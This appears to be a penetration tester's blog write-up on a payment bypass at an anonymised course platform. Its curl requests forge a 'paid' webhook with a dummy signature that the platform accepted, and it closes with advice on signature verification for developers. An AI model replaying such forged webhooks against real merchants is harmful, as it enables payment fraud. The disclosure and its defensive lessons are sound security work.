Table of Contents:
Introduction
During a recent penetration testing engagement, I discovered a critical misconfiguration in a payment gateway integration that allowed bypassing payment verification entirely. This vulnerability highlights the importance of proper webhook implementation and signature verification in payment systems.
Disclaimer: The names of the affected services have been changed to protect their identities.
1- The payment gateway will be referred to as "XYZ Payment Gateway" (link.xyz.com)
2- Effected platform as "Example Platform" (example.com). This disclosure follows responsible vulnerability reporting practices, and the issues have been addressed by both parties.
3- The repeated
Xcharacters in the identifiers are for masking and privacy only.
Background
Example Platform is an online learning platform that sells educational courses. For payment processing, they integrated XYZ Payment Gateway, which provides webhook-based payment notifications to confirm successful transactions.
The Discovery Process
Phase 1: Initial Information Leakage
While attempting to purchase a course on Example Platform, I initiated the standard checkout flow:
Step 1: Creating the payment request
First, I sent a payment creation request to Example Platform's API:
curl -X POST "https://example.com/api/payment/create-wallet-topup" \
-H "Content-Type: application/json" \
-d '{
"courseId": "cmc38t3wy0001jx04gtl1cinp",
"couponCode": null
}'This request was sent to Example Platform backend to initiate a new payment session for purchasing a course.
Step 2: Receiving the payment link
Example Platform's server responded with a payment link that redirects to XYZ Payment Gateway:
{
"success": true,
"paymentUrl": "https://link.xyz.com/pay?id=cmh3f3oXXXXXXXXXXXXnw8qji",
"paymentId": "cmh3f3oXXXXXXXXXXXXnw8qji",
"deficitAmount": 96000,
"courseDetails": {
"id": "cmc38t3wy0001jx04gtl1cinp",
"title": "NEXT JS Course",
"thumbnail": "...",
"originalPrice": 64,
"finalPrice": 64,
"discountAmount": 0,
"couponCode": null
}
}
Step 3: Analyzing the payment gateway response
I visited the payment link: https://link.xyz.com/pay?id=cmh3f3oXXXXXXXXXXXXnw8qji
I reviewed the response , See this screenshot for a real response:

Upon analyzing the payment gateway response, I discovered that XYZ Payment Gateway was leaking sensitive configuration data in the API response:
{
"paymentId": "cmh3f3oXXXXXXXXXXXXnw8qji",
"referenceId": "wallet-topup-cmf6v1mfn0000l4042p6mvvrv-cmc38t3wy0001jx04gtl1cinp-1761223674116",
"webhook": "https://www.example.com/api/xyz/webhook",
"webhookSecret": "YFkxpXXXXXXXXXHKBF8vC1RQ==:hCXXXXXXXXXXXXXX+FBkQ==",
"type": "wallet-topup"
}Security Issue #1: The payment gateway was exposing the webhook URL directly in the response. While this might seem harmless, webhook URLs should remain confidential to prevent unauthorized access attempts:
"webhook": "https://www.example.com/api/xyz/webhook"Understanding the referenceId: Upon closer inspection, I noticed the referenceId structure contains the user account identifier combined with the course/product ID, providing context about what was being purchased.
"referenceId": "wallet-topup-cmf6v1mfn0000l4042p6mvvrv-cmc38t3wy0001jx04gtl1cinp-1761223674116"Phase 2: Attempting to Use the Webhook Secret
Even though the webhookSecret was exposed, I could not use it to generate a valid signature. This led me to check whether the server was validating webhook signatures
Phase 3: Testing Webhook Signature Verification
After failing to use the leaked secret, I pivoted my approach. Instead of trying to generate a valid signature, I decided to test whether Example Platform was actually verifying the webhook signatures at all.
I crafted a request based on the webhook structure documented in XYZ Payment Gateway integration documentation:
[Always make sure to review the documents if available; they will provide you with more information.🙂]
curl -X POST "https://www.example.com/api/xyz/webhook" \
-H "Content-Type: application/json" \
-H "x-xyz-signature-256: 12345" \
-d '{
"verb": "POST",
"event": "order.create",
"referenceId": "wallet-topup-cmf6v1mfn0000l4042p6mvvrv-cmc38t3wy0001jx04gtl1cinp-1761223674116",
"paymentMethod": "Cards",
"paymentStatus": "paid",
"paymentProcessor": "xyz",
"total": 96000,
"commission": 0,
"code": "FINALTEST789",
"customer": {
"id": "final-user",
"name": "Final Test",
"phone": "+9641234567890",
"city": "iraq_baghdad",
"country": "IQ",
"address": "Baghdad"
},
"items": [
{
"type": "increase",
"label": "Wallet top-up - NEXT JS Course",
"amount": 96000
}
],
"id": "cmh3f3oXXXXXXXXXXXXnw8qji"
}'The Critical Finding: I used 12345 as the signature value an invalid signature. If Example Platform was properly validating signatures, this request should have been rejected immediately.
x-xyz-signature-256: 12345The Response:
{
"success": true,
"message": "Webhook processed successfully",
"paymentId": "cmh3f3oXXXXXXXXXXXXnw8qji",
"referenceId": "wallet-topup-cmf6v1mfn0000l4042p6mvvrv-cmc38t3wy0001jx04gtl1cinp-1761223674116",
"type": "wallet-topup"
}The webhook was ✅accepted. Example Platform granted access to the course without any actual payment being made.
The Root Causes
This vulnerability exists due to two separate issues:
Issue 1: Information Disclosure (XYZ Payment Gateway)
XYZ Payment Gateway leaked sensitive integration details:
- Webhook URL: disclosed the webhook URL in client-side responses, making the webhook endpoint easily discoverable and reducing the overall security of the payment integration.
- Webhook Secret: Although I was unable to use it to create a real signature
- Reference IDs: Reveal internal identifier structures
Issue 2: Missing Signature Verification (Example Platform)
Example Platform failed to implement proper webhook signature verification. According to XYZ Payment Gateway's documentation, all webhook requests must include the x-xyz-signature-256 header containing a cryptographic signature of the request payload.
Example Platform code did not Validate the signature authenticity then Reject requests with invalid signatures
Impact:
The severity of this vulnerability is Critical:
Send a forged webhook notification claiming the payment succeeded Receive the product/service for free
Lessons for Developers:
For Payment Gateway Providers
- Minimize Information Disclosure
Avoid exposing sensitive configuration details in API responses. Information like webhook URLs and secrets should only be available through authenticated management interfaces.
2. Implement Unpredictable Webhook URLs
Instead of predictable patterns like /api/xyz/webhook, use randomly generated, difficult-to-guess paths:
❌ Bad: https://example.com/api/xyz/webhook
✅ Good: https://example.com/webhooks/7f3c8d9e-a1b2-4c5d-8e9f-1a2b3c4d5e6fThis creates an additional security layer through obscurity, making it harder for attackers to locate webhook endpoints.
3. Provide Clear Security Documentation
Ensure your integration documentation explicitly emphasizes:
- The critical importance of signature verification
- Step-by-step implementation guides for signature validation
- Example code in multiple programming languages
For Merchants/Integrators
- Always Verify Webhook Signatures
Example signature verification (Python):
import hmac
import hashlib
def verify_webhook_signature(payload, signature, secret):
expected_signature = hmac.new(
secret.encode('utf-8'),
payload.encode('utf-8'),
hashlib.sha256
).hexdigest()
return hmac.compare_digest(expected_signature, signature)
# In your webhook handler
if not verify_webhook_signature(request_body, request_headers['x-xyz-signature-256'], WEBHOOK_SECRET):
return {"error": "Invalid signature"}, 4012. Implement rate limiting to prevent abuse
3. Test Your Integration
⚠️ Before going to production:
- Test with invalid signatures
- Test with missing signatures
- Test with replayed requests
- Test with tampered payload data
Conclusion
This case shows us how one small error can cause big problems. When the system doesn't check webhook signatures, the entire payment system can be bypassed.
Two security issues combined to create this vulnerability:
- The payment gateway leaked sensitive information
- The platform didn't verify incoming requests
Together, these issues allowed attackers to get paid content for free
Key Takeaways:
- For Payment Gateways: Minimize information disclosure and provide clear security guidance
- For Developers: Always verify webhook signatures — this is your primary security control
⚠️ Disclaimer:
This article is for educational purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.
I hope you found this writeup valuable and learned something new about webhook security.
Feel free to connect with me: - Twitter/X: https://x.com/ABAlawsi - Telegram: https://t.me/awsi5